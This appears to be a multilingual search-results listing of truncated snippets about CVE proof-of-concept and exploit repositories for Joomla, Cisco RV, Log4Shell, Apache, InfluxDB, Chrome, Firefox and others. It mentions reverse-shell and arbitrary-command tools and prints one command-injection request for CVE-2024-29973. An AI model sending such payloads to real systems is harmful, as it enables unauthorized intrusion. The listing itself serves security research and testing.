44228 matches found
CVE-2022-3910
CVE-2022-3910 poc dirtyfile dirtymm...
CVE-2023-23752
CVE-2023-23752 Joomla 무단 액세스 취약점 CVE-2023-23752 취약점 설명 Joomla는 PHP로 작성된 오픈 소스 콘텐츠 관리 시스템CMS으로, MySQL, MSSQL, PostgreSQL 등 여러 데이터베이스 시스템을 지원합니다. 부적절한 액세스 제한으로 인해 서버 REST API 엔드포인트에 대한 무단 액세스가 발생합니다. 영향받는 버전: Joomla 4.0.0 - 4.2.7 사용 도움말 root@kitploit: optional arguments: -h, --help show this help...
detect_bluekeep.py
detectbluekeep.py CVE-2019-0708 の BlueKeep 脆弱性を検出する Python スクリプト（TLS/SSL サポート付き） @zerosum0x0 が作成した Metasploit モジュールを基にした成果物です https://github.com/zerosum0x0/CVE-2019-0708 RC4 は https://github.com/DavidBuchanan314/rc4 から取得しています 前提条件 detectbluekeep.py には pyasn1 と cryptography の Python モジュールが必要です。...
cisco-rv-rce-poc
CVE-2023-20048 — Cisco RV シリーズ PoC & Exploit ⚠ 警告: 認可されたテストのみ を対象としています。自分が所有していない、または書面による許可を得ていないシステムに対して使用しないでください。これはProof of Concept であり、認可されたテストのみ を目的としています。 これは何か 小さなリポジトリ: CiscoPoc.py — CVE-2023-20048 を確認するための無害な PoC CiscoRCE.py — 脆弱な form2ping.cgi を介してリバースシェルを試みるエクスプロイト 説明 このスクリプトは、Cisco...
CVE-2019-5544_CVE-2020-3992
SLPサービス用スキャナー CVE-2019-5544 CVE-2020-3992 SRVLOC/SLPプロトコルを実装し、有効なOpenSLPサービスをスキャンするPythonスクリプト。 CVE-2019-5544、CVE-2020-3992、CVE-2021-21974の影響を受けるシステムを検索する際に便利です。 VMwareの脆弱性に関する詳細は、例えばこちらを参照してください。 このスクリプトはサービスが脆弱かどうかを検出するものではありませんが、リモートのVMWareバージョンとビルドを報告します。 必要条件 python3とscapyライブラリのインストールが必要です。例...
evil-rmi-server
evil-rmi-server 一个邪恶的RMI服务器，可以执行任意命令。在本地提权场景中对CVE-2021-44228可能有用。 构建 ./gradlew bootJar 运行 root@kitploit: Usage: java -jar build/libs/evilRMIServer-1.0-SNAPSHOT.jar -hV -p= An evil RMI Server to help construct and run an arbitrary command. The Command to run. Wrap in quotes if there are spaces. -h...
CVE-2021-41773-Playground
CVE-2021-41773-Playground CVE-2021-41773 및 CVE-2021-42013을 실험하기 위한 몇 가지 Docker 이미지입니다. 모든 컨테이너를 실행하려면 docker compose up -d를 실행하세요. 서버는 8080, 8081, 8082, 8083 포트에서 실행됩니다. 8080: CGI가 비활성화된 Apache 2.4.49 8081: CGI가 활성화된 Apache 2.4.49 8082: CGI가 비활성화된 Apache 2.4.50 8083: CGI가 활성화된 Apache 2.4.50 각 서버의...
hitron-cfg-decrypter
Hitron CFG 복호화기 다운로드 root@kitploit: git clone https://github.com/Manouchehri/hitron-cfg-decrypter cd hitron-cfg-decrypter/ 복호화 root@kitploit: python decrypt.py -i sample.cfg.enc 암호화 root@kitploit: python decrypt.py -i sample.cfg.dec -m encrypt CFG 가져오기 Hitron CVE-30360에 대한 이전 작업에 대해 Michael...
CVE-2019-20933
CVE-2019-20933 InfluxDB 1.7.6 이전 버전은 services/httpd/handler.go의 authenticate 함수에서 JWT 토큰의 SharedSecret공유 비밀이 비어 있을 수 있어 인증 우회 취약점이 존재합니다. 자세한 내용은 https://nvd.nist.gov/vuln/detail/CVE-2019-20933 참조 PoC 이 PoC는 위의 CVE를 악용하여 빠르고 간편한 influxDB 클라이언트를 만듭니다. 사용법: usage: influx-client.py -h --host HOST...
CVE-2022-24112
CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 root@kitploit: 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...
cve-2018-12386
Firefox 샌드박스 RCE 익스플로잇 CVE-2918-12386 CVE-2018-12386 취약점에 대한 간단한 익스플로잇입니다. Niklas Baumstark, Samuel Groß, Bruno Keith가 발견했습니다. 이것은 대체로 제가 재미로 만든 Poc입니다. 샌드박스 우회는 없으며, 익스플로잇에 사용되는 오프셋이 이미 알려진 특정 Linux 환경에서만 작동합니다 오프셋은 exploit/offsets.js에서 변경할 수 있습니다. 이 익스플로잇은 Firefox 62.0.3 및 Firefox ESR 60.2.2 이전...
CVE-2025-34161
...
Firefox-ANGLE-CVE-2024-0741
Firefox 123 で修正されました。 修正: https://source.chromium.org/chromium//chromium/angle/angle/+/f8fae1ff4fae14fc6ba0aa1dc3af2e13a6e9a597. Cherry-pick: https://github.com/mozilla/angle/commit/ddaf44ac75d5d0390873c2af193e02159ecbe672...
Chrome-Skia-CVE-2024-8636
Fixed in Chrome M128: https://chromereleases.googleblog.com/2024/09/stable-channel-update-for-desktop10.html Steps to reproduce: 1. chromium.diff 패치를 chromium에 적용합니다. 2. genskpic.py를 실행하여 drawablepicture.skp.hh를 생성한 후, 생성된 파일을 src/gpu/commandbuffer/client로 이동합니다. 3. 브라우저를 빌드하고 시작합니다. 4. index.htm...
Chrome-Skia-CVE-2024-8198
Chrome M128で修正済み: https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop28.html 再現手順: 1. chromium.diff パッチをchromiumに適用する。 2. genskpic.pyを実行してdrawablepicture.skp.hhを生成し、生成されたファイルをsrc/gpu/commandbuffer/clientに移動する。 3. ブラウザをビルドして起動する。 4. index.htmlを開いてPoCをトリガーする。 5...
CVE-2026-54356
CVE-2026-54356 — Budibase: 인증된 사용자의 임의 S3 서명 업로드 URL 발급 게시된 Budibase 작업공간의 낮은 권한BASIC 역할 인증 사용자는 POST /api/attachments/:datasourceId/url을 호출하여, 공격자가 제어하는 객체 키그리고 데이터소스에 고정 버킷이 없는 경우 공격자가 제어하는 버킷까지에 대해 작업공간 데이터소스의 서버 측 AWS 자격 증명 으로 서명된 S3 사전 서명 업로드 URL 을 얻을 수 있습니다...
CVE-2024-11680_PoC_Exploit
CVE-2024-11680 PoCエクスプロイト このリポジトリには、ProjectSend r1605 およびそれ以前のバージョンにおける重大な脆弱性である CVE-2024-11680 の Proof of Concept（PoC）エクスプロイトが含まれています。このエクスプロイトは、特権設定の誤り（Privilege Misconfiguration）に起因する不適切な認証の欠陥を標的としています。 特徴 不適切な認証を悪用してアプリケーションタイトルを変更します。これは脆弱性の確認です。 安全でないオプション（クライアント登録、自動承認、ファイルアップロード）を有効にします。...
Chrome-Skia-CVE-2024-8193
Chrome M128에서 수정됨: https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop28.html 재현 단계: 1. chromium.diff 패치를 chromium에 적용합니다. 2. genskpic.py를 실행하여 drawablepicture.skp.hh를 생성한 후, 생성된 파일을 src/gpu/commandbuffer/client로 이동합니다. 3. 브라우저를 빌드하고 실행합니다. 4. index.html을 열어 PoC를 트리거합니...
CVE-2024-29973
CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...